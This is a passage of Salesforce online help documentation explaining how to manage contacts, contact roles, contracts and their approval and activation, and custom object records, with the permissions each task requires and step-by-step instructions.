To view org chart:

Read on contacts

To change org chart:

Edit on contacts

To display an organization chart, enter the name of the contacts manager in the Reports To field for each contact in the
account. Then, click the [View Org Chart] link on any contact in the account. Salesforce displays an organization chart
showing the contact hierarchy with the direct reports for each contact you entered.
Note:
To maintain a complete organization chart, make sure every contact in an account contains another contact in the
Reports To field. The only exception to this is the contact at the very top of the organization chart. If only one
contact in an account reports to no one, that account will have a single organization chart for the entire account.
Because of its flexibility, this feature will not prevent you from selecting Reports To contacts from other accounts.

212

Contacts

Merging Duplicate Contacts

Merging Duplicate Contacts


Available in: All Editions except Database.com
Customer Portal is available in: Enterprise, Unlimited, and Developer Editions
Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed


To merge contacts:
To merge Customer Portal enabled contacts:

Delete on contacts
Delete on contacts
AND
Edit Self-Service Users

To merge partner portal enabled contacts:

Delete on contacts
AND
Manage Partners

To merge duplicate contacts associated with a common account:


1. From the Contacts related list of an account, click Merge Contacts.
2. Check the rows of up to three contacts you want to merge. You can search the list of associated contacts to shorten the
list, or click All Contacts to view the full list of associated contacts. Click Next to continue.
3. Select one contact as the Master Record. Any data in hidden or read-only fields will be taken from the Master Record.
However, administrators and users with the Edit Read Only Fields permission can manually select which read-only fields
to retain. Note that hidden fields are not displayed.
4. Select the partner portal or Customer Portal user you want to retain.
This option is available only if a partner portal or Customer Portal is enabled for your organization.
You can select Not a portal user so that a merged contact does not include a portal user.
5. Select the fields that you want to retain from each record.
When there is conflicting data, the fields in the left column are preselected and the row is marked in purple.
6. Click the Merge button to complete the merge.

Tips for Merging Contacts


Consider the following when merging contacts:

Any related items from any of the duplicate contacts will be associated with the merged contact.
If you are merging duplicate contacts that are members of different campaigns, the campaign Member Status Updated
date for each contact is retained and associated with the newly merged contact.

213

Contacts

Merging Duplicate Contacts

Before merging contacts that both have active Self-Service usernames, deactivate one Self-Service username. The merged
record will adopt the active Self-Service username. For more information on the Self-Service username field, see Contact
Fields on page 208.
Any account sharing and manual sharing for the master contact are applied to the newly merged contact.
When you merge contacts that have Reports To relationships, the newly merged contact retains the Reports To field
from the selected Master Record.
All discarded duplicate records are moved to the Recycle Bin.
The newly merged contact displays the Created By date from the oldest contact you are merging, and shows the merge
date as the Modified By date.
In organizations that use divisions, the merged contact is assigned to the division of the related account.
Merging contacts is not tracked in the setup audit trail.
You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in the organization
role hierarchy, and if you have the appropriate user permission.
The newly merged contact is automatically included on any case teams in which the contacts were associated.
The master contact replaces the duplicate contacts in all the requested meetings they were invited to. Also, all meeting
messages written by the duplicate contacts are automatically associated with the master contact. (Meeting messages appear
on the requested meeting's Web page and are visible to all invitees.)
The master contact replaces the duplicate contacts in all the scheduled meetings they were invited to. However, make sure
to edit the event detail page and click Add to Invitees to add the new master contact to the meeting invitee list.

Tips for Merging Contacts with Portal Users


Consider the following when merging contacts associated with portal users:

Review the information in Tips for Merging Contacts, which also applies to merging contacts associated with portals users.
You can merge a portal contact record with another portal contact. For example, you can merge contacts enabled to use:
A partner portal or Customer Portal.
A partner portal with contacts enabled to use a Customer Portal or vice-versa.
A partner portal or Customer Portal with contacts that are not enabled to use a portal.

When you merge contacts that include partner portal and Customer Portal users, you must choose which type of portal
user to retain. The portal user you do not retain is disabled. However, after the contacts are merged, you can enable the
contact for access to the portal from which you removed during the merge process.
To merge contacts associated with various accounts:
1. Transfer the contacts you want to merge into one account.
2. Merge the contacts associated with the common account.

Portal users who are disabled during the merge process retain ownership of any records in which they are the owner. For
example, if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case
is updated with a new owner.

See Also:
Merging Duplicate Accounts
Enabling the Customer Portal for Contacts and Person Accounts
Creating Partner Users

214

Contacts

Sharing Contacts

Sharing Contacts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model for contact access. However, you can extend sharing privileges
for your own data on a contact-by-contact basis. Use contact sharing to increase access to your contacts; you cannot restrict
access beyond your organization's default access levels.
To view and manage sharing details, click Sharing on the contact detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the contact. On this page, you can do any of the following:

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Add to grant access to the record for other users, groups, roles, or territories.
Click Expand List to view all users that have access to the record.
For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

Special Considerations

Make sure you are sharing records with users who have the appropriate Read object permission for viewing the shared
records.
You cannot manually share a private contact (a contact without an account).
If you have permission to share an account, Salesforce automatically provides Read access to the associated account when
granting sharing access to a contact if the recipient does not already have it. If the recipient does not have access to the
account, you cannot share the contact unless you have permission to share the account as well.
If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.
Contact sharing is not available for organizations that have territory management or person accounts.
If your organization already has person accounts enabled, the organization-wide default for contacts is set to Controlled
by Parent and is not editable.
If your organization does not have person accounts yet you want to enable one of them, set your organization-wide
default for contacts to Controlled by Parent, which removes all your contact sharing rules and manually shared contacts.

See Also:
Granting Access to Records
Viewing Which Users Have Access

215

Contacts

Sending Stay-in-Touch Requests

Sending Stay-in-Touch Requests


Available in: All Editions except Database.com

User Permissions Needed


To request updates:

Send Stay-in-Touch Requests

A quick and easy way to retrieve updated contact information from your contacts and person accounts is to send Stay-in-Touch
requests. You can request updates from:

Contacts you own


Contacts associated with accounts you own
Contacts you can edit due to a sharing rule or manual record sharing
Person accounts you own
Note: The record must have a valid email address.

How it Works
1. On the detail page of a contact or person account, click Request Update either at the top of the page or in the Activity
History related list.
2. An outgoing email is created according to your personal Stay-in-Touch settings. As needed, edit the details of the email.
If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the message. Spell Checker
does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian,
and double-byte languages, such as Japanese, Korean, or Chinese. Click Send to send the email.
3. The recipient receives the email and clicks a link to either provide updates or confirm no changes are necessary.
4. You receive an email notification. Click the link in the email to update, review, and accept or reject the new information.
Note: To send individual Stay-in-Touch requests, you must have the Send Email permission. You can send individual
Stay-in-Touch requests regardless of the recipients Email Opt Out setting.

See Also:
Editing Stay-in-Touch Settings
Merging Updated Contact Information
Mass Stay-in-Touch Update
What is a Person Account?

216

Contacts

Sending Stay-in-Touch Requests

Merging Updated Contact Information


When someone responds to a Stay-in-Touch request, you will receive an email that contains a link. To merge the new
information into Salesforce:
1. Click Update Now from the email you receive.
2. Review the new and original values.
3. Click Accept Changes to save the new data. Click Reject Changes to ignore the updates and retain the original values.
Note: These updates do not trigger workflow rules.

See Also:
Sending Stay-in-Touch Requests

Mass Stay-in-Touch Update


Available in: All Editions except Database.com

User Permissions Needed


To send mass Stay-in-Touch updates:

Send Email
AND
Send Stay-in-Touch Requests

Use the Mass Stay-in-Touch wizard to request updated contact information from multiple contacts and person accounts
simultaneously.
To send a mass Stay-in-Touch email:
1. On the contacts home page, click Mass Stay-in-Touch from the Tools section.
If your organization uses person accounts, the link also appears on the accounts home page.
2. Select a list view of contacts and person accounts from whom you are requesting updated information. You can also edit
existing list views and create new list views.
3. Click Go.
4. Select the individuals to whom the request will be sent. Note that records which lack email addresses cannot be selected.
Click Next to continue.
5. Review the email to be sent and click Send.
Recipients can reply to you via email with their latest information. You can merge these updates as you receive them.

217

Contacts

Deleting Contacts

Note: Records in which the Email Opt Out box is checked do not appear in the list view, because you cannot send
mass emails to them.

See Also:
Sending Stay-in-Touch Requests
Editing Stay-in-Touch Settings
Merging Updated Contact Information

Deleting Contacts
Available in: All Editions

User Permissions Needed


To delete contacts:

Delete on contacts

To delete a contact, click Del next to the contact on the contacts list page or in the Contacts related list of an account. You
can also delete a contact by clicking Delete on the contact detail page.
When you delete a contact, all related assets, campaign history, events, tasks, notes, and attachments are also deleted. You do
not need the Delete permission on any associated records that are included in the deletion. Associated opportunities, accounts,
entitlements, and cases are not deleted with the contact. The deleted contact is moved to the Recycle Bin. If you undelete the
contact, any related items are also restored including any inactive Self-Service username.
You cannot delete contacts that have associated:

Cases
Contracts
Service contracts
Partner user
Assets with cases
An active Self-Service user
An active Customer Portal user
Note: You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in
the organization role hierarchy, and if you have the appropriate user permission. If you delete or remove a tasks primary

218

Contacts

Searching for Contacts

contact, another contact becomes the primary contact in its place. You can edit the task to manually select another
primary contact.

See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Contacts

Searching for Contacts


Available in: All Editions

User Permissions Needed


To view contacts:

Read on contacts

To view person accounts:

Read on accounts and contacts

1. Enter your search terms in the sidebar or header search box.


If you're using the sidebar, click Advanced Search... to find matches in additional fields.
2. Click Search.
If you're using local contact names, search finds matches for standard or local contact names.
3. From the search results, click an item to open it or click Edit, if available.
You can also create a contact list view to locate contacts that match specific criteria.

See Also:
Search Overview
What is a Person Account?

219

Contact Roles

Contact Roles Overview

CONTACT ROLES
Contact Roles Overview
Available in: All Editions except Database.com

A contact role defines the part that a contact or person account plays in a specific account, case, contract, or opportunity. For
example, Tom Jones might be the Decision Maker for the opportunity, and Mary Smith might be the Evaluator. You can
assign a contact role to any contact or person account that affects your account, case, contract, or opportunity. Contacts and
person accounts can have different contact roles on various accounts, cases, contracts, or opportunities.
The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.
Note: Users must have the appropriate user permissions and sharing access to view the contact information for any
person listed in the appropriate contact roles related lists.

See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?

220

Contact Roles

Viewing and Editing Contact Roles

Viewing and Editing Contact Roles


Available in: All Editions except Database.com

User Permissions Needed


To view contact roles:

Read on accounts, cases, contracts, or opportunities

To edit contact roles:

Edit on the related object, such as accounts, cases, contracts,


or opportunities
AND
Read on contacts

The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.

To add a contact role for the account, case, contract, or opportunity, click New in the Contact Roles related list. See Adding
Contact Roles on page 222.
To send an email to all contact roles on a case, click Send an Email in the Contact Roles related list. See Sending Email
on page 260. If a contact role does not have an email address specified on his or her contact record, the contact is not
included in the email.
To update a contact role, click Edit next to a contact role. Click Save when you have finished making changes.
To mark a contact or person account as primary on the account, contract, or opportunity, click Edit next to the contact
role entry, and select the Primary option.
Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the
contact listed under Contact Name in the Case Detail section.

To delete a contact role, click Del next to the contact role you want to delete.
To create an opportunity related to a person account, click New in the Opportunity Contact Roles related list on a person
account.

See Also:
Contact Roles Overview
Adding Contact Roles
Contact Role Fields
What is a Person Account?

221

Contact Roles

Adding Contact Roles

Adding Contact Roles


Available in: All Editions except Database.com

User Permissions Needed


To add contact roles:

Edit on the related object, such as accounts, cases, contracts,


or opportunities
AND
Read on contacts

To assign a contact role to a contact or person account:


1. Click New in the Contact Roles related list of an account, case, contract, or opportunity.
2. Click the lookup icon to select a contact or person account. Optionally, click New to create a new contact.
When you add or edit contact roles on an opportunity that is associated with a business account, the page automatically
displays the contacts for that business account. If the business account has more than 50 contacts, the contacts are not
automatically displayed, and you must use the lookup icon to select a contact.
3. Choose a role.
4. Optionally, select Primary to set the contact or person account as primary for the account, contract, or opportunity.
Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the
contact listed under Contact Name in the Case Detail section.
5. Click Save.
When you create an opportunity from a contact detail page, that contact automatically becomes the primary contact on the
opportunity. However, a contact role is not automatically assigned.
Tip: Adding person accounts in contact roles on accounts is available but not recommended. As a best practice, we
recommend using the Partners related list to associate person accounts with other accounts.

See Also:
Contact Roles Overview
Viewing and Editing Contact Roles
Contact Role Fields
What is a Person Account?

222

Contracts

Contact Role Fields

Contact Role Fields


Available in: All Editions except Database.com

A contact role has the following fields, listed in alphabetical order.


Field

Description

Contact

Name of contact or person account. You can use the lookup


icon to either select someone or create a contact.

Primary

Option that specifies the contact or person account as primary


for the record.
Note that on case contact roles, the Primary option is not
available. The primary contact on a case is always the contact
listed under Contact Name in the Case Detail section.
Participating role in the account, case, contract, or opportunity,
for example, Buyer, Decision Maker, or Evaluator. (Selections
for this picklist can be customized by your administrator.)

Role

See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?

CONTRACTS
Contracts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract is a written agreement between two or more parties. Many companies use contracts to define the terms for doing
business with other companies.
Use Salesforce to establish and document the contracts you have with your accounts. Then, track the contract through your
organizations approval process and use workflow alerts to notify yourself when to initiate contract renewals.

223

Contracts

Contracts Home

Displaying The Contracts Tab


The Contracts tab is automatically displayed for all users. If your Contracts tab is not visible, you can customize your display
to show it. For more information, see Customizing Your Display on page 42.

See Also:
Contracts Home
Administrator tip sheet: Getting Started with Contracts

Contracts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Contracts tab:

Read on contracts

To view contracts:

Read on contracts

To create contracts:

Create on contracts
AND
Read on accounts

Click the Contracts tab to display the contracts home page.

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
In the Recent Contracts section, select an option from the drop-down list to display a brief list of the top contracts
matching that criteria. From the list, you can select any contract to go directly to the contract detail. Contract Name
displays in this list if you have added it to your contract page layout. Toggle the Show 25 items and Show 10 items links
to change the number of items that display. The fields you see are determined by the Contracts Tab search layout defined
by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions
only). The Recent Contracts options are:
Recent Contracts Choice

Description

Recently Created

The last ten or twenty-five contracts you created, with the


most recently created contract listed first. This list only
includes records owned by you.

Recently Modified

The last ten or twenty-five contracts you updated, with the


most recently updated contract listed first. This list only
includes records owned by you.

Recently Viewed

The last ten or twenty-five contracts you viewed, with the


most recently viewed contract listed first. This list is derived

224

Contracts

Viewing Contract Lists

Recent Contracts Choice

Description
from your recent items and includes records owned by you
and other users.

Approval Pending

The last ten or twenty-five contracts that have at least one


approval request awaiting your approval. This list includes
records owned by you and other users.

In the Recent Contracts section, click New to create a new contract.

See Also:
Contracts Overview
Cloning Contracts
Deleting Contracts
Creating Custom List Views
Displaying and Editing Contracts
Creating Contracts

Viewing Contract Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contract lists:

Read on contracts

To create contracts:

Create on contracts
AND
Read on accounts

The contracts list page displays a list of contracts that match your current view. To show a filtered list of items, select a
predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete
any view you created, select it from the View drop-down list and click Edit.

Click a contract number to view the detail. Click Edit or Del to edit or delete a contract.
If Chatter is enabled, click or to follow or stop following a contract in your Chatter feed.
Click New Contract select Contract from the Create New drop-down list in the sidebar to create a contract.

Sorting List Views

Click any column heading to sort in ascending or descending order using that columns information.

225

Contracts

Displaying and Editing Contracts

At the top of the list, click a letter to display the contents of the sorted column that begin with that character.

See Also:
Displaying and Editing Contracts
Creating Contracts
Deleting Contracts
Enabling the Customer Portal for Contacts and Person Accounts
Customizing User Interface Settings
Working with Enhanced Lists
Printing List Views
Using Inline Editing in Lists

Displaying and Editing Contracts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts:

Read on contracts

To change contracts:

Edit on contracts
AND
Read on accounts

To change activated contracts:

Activate Contracts

Displaying Contracts
Once you have located a contract on the contracts home or list pages, click the contract number to display detailed
information. From an account, click the contract number in the Contracts related list to display the contract. All contracts
associated with the account are listed in the Contracts related list. If hover details are enabled, hover over any lookup
field on the detail page to view key information about a record before clicking into that record's detail page.
Viewing Contract Updates and Comments (Chatter)
Display a Chatter feed of updates, comments, and posts about the contract.
Editing Contracts
To update a contract, click Edit, and then change the fields that you want to update. When you have finished, click
Save. You can also select Save & New to save the current contract and create another. Users with the Edit permission
on contracts can edit contracts until they are activated. Use inline editing to edit fields directly on the detail page. If
inline editing isn't enabled, contact your administrator.

226

Contracts

Displaying and Editing Contracts

Contract Related Lists


The lower portion of the display provides a snapshot of key information relating to the contract. The related lists you
see are determined by your personal customization and by any customization your administrator has made to page layouts
or your permissions to view related data. You can click on individual items to display additional detail. Click more at
the bottom of the page or View More below a related list to display more items. Click New to directly add new items.
Note: Hover over the links at the top of a detail page to display the corresponding related list and its records.
If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and
manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not
enabled, contact your Salesforce administrator.
Printing Contracts
To open a printable display of the record details, in the top-right corner of the page, click Printable View.
To return to the last list page you viewed, click Back to list at the top of the contracts detail page. If your organization has
enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the
detail page. For more information, see Navigating on page 13.

See Also:
Contract Approval Requests
Contract History
Contract Fields
Creating Contracts
Cloning Contracts
Deleting Contracts
Tagging Records
Searching for Contracts

Contract Approval Requests


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Approval Requests related list on a contract detail page tracks the status of each approval request. This list displays
information about each approval request and includes the status and any approve or reject comments. When the status is
Pending, no comment is included.

See Also:
Approving Contracts

227

Contracts

Viewing Contract Updates (Chatter)

Contract History
Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Contract History related list of a contract detail page tracks changes to a contract while its status is either In Approval
Process or Activated. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the
contract, a new entry is added to the Contract History related list. All entries include the date, time, nature of the change, and
who made the change. Modifications to the related lists on the contract are not tracked in the contract history. For information
about setting up which fields are tracked, see Tracking Field History on page 1100.

Viewing Contract Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the contract.
Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.

Following Contracts
When you follow a contract, your Chatter feed includes field changes and contract feed updates.

To follow a contract, click Follow. To stop following, click Following .


The Followers list shows you who is following the contract. To view a full list, click Show All.
To automatically follow records you create, go to Your Name > Setup > My Chatter Settings > My Feeds and select
Automatically follow records I create.

See Also:
Chatter Overview
Using Chatter Feeds

228

Contracts

Creating Contracts

Creating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts:

Read on contracts

To create contracts:

Create on contracts
AND
Read on accounts

You must have at least read access to an account in order to associate a contract with it. To create a contract:
1. Select Contract from the Create New drop-down list in the sidebar, or click New next to Recent Contracts on the contracts
home page. Select an Account Name to associate the new contract with that account.
Alternatively, view the account record first and click New in the Contracts related list.
2. Choose a contract status.
3. Enter the start date of the contract.
4. Enter the number of months that the new contract will be in effect.
Note: Your administrator may have configured Salesforce to calculate Contract End Date based on Contract
Start Date and Contract Term. If Contract End Date is auto-calculated, it will not display on the contracts
edit page.
5. Enter the rest of the information for the new contract. For a definition of each field, see Contract Fields on page 230.
6. Click Save.
The contract is listed under the Contracts related list of the account.
Enterprise, Unlimited, and Developer Edition organizations can activate record types that prompt you to choose a Record
Type when creating a record. This determines the picklist values and status values available when creating and editing a record.
For instructions on enabling record types for contracts, see Managing Record Types on page 1268.
If your organization uses divisions, the division of a new contract is automatically set to the division of the related account.

See Also:
Cloning Contracts
Contract Fields
Contracts Home
Deleting Contracts

229

Contracts

Cloning Contracts

Cloning Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts:

Read on contracts

To clone contracts:

Create on contracts
AND
Read on accounts

The Clone button on a contract quickly creates a new contract with the same information as the existing contract. For example,
you can add multiple contracts for the same account.
Click Clone on an existing contract. Enter or change any information for the new contract and click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contract Fields
Deleting Contracts

Contract Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
Field

Description

Account Name

Name of account associated with the contract.

Activated By

Name of the person that activated the contract.

Activated Date

Activation date of the contract.

Billing Street

Street address used for billing. Up to 255 characters are allowed


in this field.

230

Contracts

Contract Fields

Field

Description

Billing City

City portion of billing address. Up to 40 characters are allowed


in this field.

Billing State/Province

State or province portion of billing address. Up to 20 characters


are allowed in this field.

Billing Zip/Postal Code

Zip or postal code portion of billing address. Up to 20


characters are allowed in this field.

Billing Country

Country portion of billing address. Up to 40 characters are


allowed in this field.

Company Signed By

User at your organization who authorized the contract.

Company Signed Date

Date that the contract was authorized.

Contract Division

Division to which the contract belongs. This value is


automatically inherited from the related account. Available
only in organizations that use divisions to segment their data.

Contract End Date

Last day the contract is in effect. Your administrator can


configure Salesforce to calculate Contract End Date based
on Contract Start Date and Contract Term. If this
field is auto-calculated, it will not display on the contracts edit
page.

Contract Name

Title for the contract that distinguishes it from other contracts.

Contract Number

Unique number automatically assigned to the contract.


Numbering for contracts starts at 100. (Read only)
Administrators can modify the format and numbering for this
field. See Modifying Standard Auto-Number Fields on page
1059.

Contract Owner

User who owns the contract record.

Contract Start Date

First day that the contract is in effect.

Contract Term (months)

Number of months that the contract is in effect.

Created By

User who created the contract record.

Customer Signed By

Contact on the account that authorized the contract.

Customer Signed Date

Date the contact signed the contract.

Customer Signed Title

Title of the contact who signed the contract.

Description

Statement describing the contract.

Last Modified By

User who most recently changed the contract record.

Owner Expiration Notice

Number of days before the contract end date you want to send
the notification, if the contract owner and account owner
wants to be notified of an upcoming contract expiration.

231

Contracts

Contract Fields

Field

Description

Shipping Street

Primary mailing or shipping street address of account. Up to


255 characters are allowed in this field.

Shipping City

City portion of primary mailing or shipping address. Up to


40 characters are allowed in this field.

Shipping State/Province

State or province portion of primary mailing or shipping


address. Up to 20 characters are allowed in this field.

Shipping Zip/Postal Code

Zip or postal code portion of primary mailing or shipping


address. Up to 20 characters are allowed in this field.

Shipping Country

Country portion of primary mailing or shipping address. Up


to 40 characters are allowed in this field.

Special Terms

Any terms that you have specifically agreed to and want to


track in the contract.

Status

Indicates the stage that the contract has reached in the contract
business process. Your organization can add values to this
picklist within three system-defined contract status categories:
Draft, In Approval Process, and Activated. You
can use these status categories to track contracts within your
business process using reports and views.
Important: The Status field cannot be updated by
approval processes. If you want to use the contract
status as part of an approval process, Salesforce
recommends creating a custom status field.

Custom Links

Listing of custom links for contracts set up by your


administrator.

See Also:
Displaying and Editing Contracts
Creating Contracts
Cloning Contracts

232

Contracts

Approving Contracts

Approving Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To approve contracts:

Approve Contracts

Your organization may already have a process for approving contracts. For example, you may have one person designated for
each team to approve contracts. You may also have one administrator designated to activate contracts. If so, your Salesforce
administrator can customize Salesforce to give the appropriate people the permissions they need to perform their part of the
contract life-cycle.
Before you begin customizing Salesforce, define the life-cycle of a contract in your organization. Use the following basic
contract approval process to get started:
1. A user creates a contract. This user needs to have the Edit permission on contracts. All newly created contracts have a
Draft status.
2. The contract owner sends an approval request to have the contract approved by a team lead. The first approval request on
a contract changes its status to In Approval Process.
3. The team lead accepts or rejects the contract approval request. If rejected, the contract owner can make changes to the
contract and submit another approval request. The status remains In Approval Process whether the approval request was
accepted or rejected.
4. If accepted, a contract administrator activates the contract. Users with the Activate Contracts permission can activate a
contract. Activating a contract changes the contract status to Activated and makes the contract read only. Activated
contracts cannot be changed and only users with the Delete Activated Contracts permission can delete a contract with
Activated status.

Sending Approval Requests


To send an approval request for a contract:
1.
2.
3.
4.
5.

Select the contract.


Click New in the Approval Requests related list.
Select the person you want to receive the approval request.
Enter any request comments.
Click Save. Salesforce sends an email approval request to the recipient you selected. The recipient can click a link in the
email to view the contract and click Approve to accept the contract or Reject to return the approval request. All approval
requests are tracked in the Approval Request related list.
Note: Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333
characters.

Receiving Approval Requests


Use the Approval Pending list on the contracts home page to view all the contracts that require your approval. When you
receive an email approval request, click the included link to view the contract.

233

Contracts

Activating Contracts

Click Approve to accept the contract as is and notify the contract owner that the request is approved. You will be prompted
to select an approval request status and enter any approval request comments. Click Save to send and save the approval
request.
Click Reject to return the approval request. Select an approval request status and enter any comments that you want
attached to the approval request. Click Save to send your response and save the approval request.
Note: You can use the standard contracts approval functionality alone or together with approval processes.
The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval
process, Salesforce recommends creating a custom status field.

See Also:
Activating Contracts
Displaying and Editing Contracts
Creating Contracts

Activating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To activate contracts:

Activate Contracts
AND
Read and Edit on contracts

Administrators and users with the Activate Contracts permission can activate contracts. To edit an activated contract, a user
must have the Activate Contracts permission.
Activating a contract changes the contract status to Activated and makes the contract read only. Activated contracts cannot
be changed and only users with the Delete Activated Contracts permission can delete a contract with Activated status. To
activate a contract:
1. Select the contract you want to activate.
2. Click Activate. The status of an activated contract is Activated.

See Also:
Approving Contracts
Displaying and Editing Contracts

234

Contracts

Deleting Contracts

Deleting Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete inactivated contracts:

Delete on contracts
AND
Read on accounts

To delete activated contracts:

Delete Activated Contracts


AND
Read on accounts

To delete a contract, click Del next to the contract on the contracts list page. You can also delete a contract by clicking Delete
on the contract detail page.
When you delete a contract, all related notes, attachments, events and tasks, history, and approval requests are deleted.
Associated accounts are not deleted with the contract. The deleted contract is moved to the Recycle Bin. If you undelete the
contract, any related items are also restored.

See Also:
Recycle Bin
Activating Contracts

Searching for Contracts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts:

Read on contracts

1. Enter your search terms in the sidebar or header search box.


If you're using the sidebar, click Advanced Search... to find matches in additional fields.
2. Click Search.
3. From the search results, click an item to open it or click Edit, if available.

235

Custom Object Records

Custom Object Record Overview

You can also create a contract list view to find contracts that match specific criteria.

See Also:
Search Overview

CUSTOM OBJECT RECORDS


Custom Object Record Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects records store information that is unique and important to you and your organization. For example, your
organization may use a custom object called Quotes to store data for your company's sales quotes. You can also use custom
objects for custom applications, such as tracking software enhancements in a development life-cycle.
Your administrator first defines the custom object and its properties, such as custom fields, relationships to other types of data,
page layouts, and a custom user interface tab. Once the custom object is created and deployed to users, you can enter data to
create individual custom object records. If your administrator has created a tab for the custom object, the tab displays a home
page that lets you quickly create and locate custom object records. You can also sort and filter your custom object records using
standard and custom list views. In addition, the tab lets you view and edit detailed information on each custom object record
to which you have access.
Administrators, and users with the Modify All Data permission, can import custom objects. See What Is Imported for
Custom Objects? on page 785.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.

See Also:
Custom Objects Home
Defining Custom Objects

236

Custom Object Records

Custom Objects Home

Custom Objects Home


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a custom object tab:

Read on the custom object

To view custom object records:

Read on the custom object

Clicking on a custom object tab displays the tab home page. The name of a custom object tab is the plural form of the custom
object as defined by your administrator.

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. List views let you display a list of records that match specific criteria, such as all custom objects for
a tab or just the ones you own. To edit or delete any view you created, select it from the View drop-down list and click
Edit.
If custom objects are shared with external contacts via Salesforce to Salesforce, choose one of the list views under [Custom
Object Name] from Connections to view the custom objects that your business partners have shared with you.
In the Recent section, select an item from the drop-down list to display a brief list of the top custom object records matching
that criteria. From the list, you can click any custom object name to go directly to the detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the Custom
Object Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise,
Unlimited, and Developer Editions only). The key list choices are:
Recent Custom Objects Choice

Description

Recently Viewed

The last ten or twenty-five custom object records you viewed,


with the most recently viewed item listed first. This list is
derived from your recent items and includes records owned
by you and other users.

Recently Created

The last ten or twenty-five custom object records you created,


with the most recently created item listed first. This list only
includes records owned by you.

Recently Modified

The last ten or twenty-five custom object records you


updated, with the most recently updated item listed first.
This list only includes records owned by you.

237

Custom Object Records

Viewing Custom Object Lists

Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.

See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records
Creating Custom List Views
Custom Help Overview
Replacing Salesforce Online Help

Viewing Custom Object Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object lists:

Read on the custom object

To create custom object records:

Create on the custom object

The custom objects list page displays a list of custom object records in your current view. A list view includes custom object
records of one type only; you cannot view more than one type of custom object in a single list view.
Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.

Click a custom object name to view the custom object record detail. Click Edit or Del next to a custom object record name
to edit or delete the record.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.

If Chatter is enabled, click

If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle
back to the list view.
To take ownership of custom object records in a queue, view the queue list view, check the box next to one or more records,
and then click Accept.

or

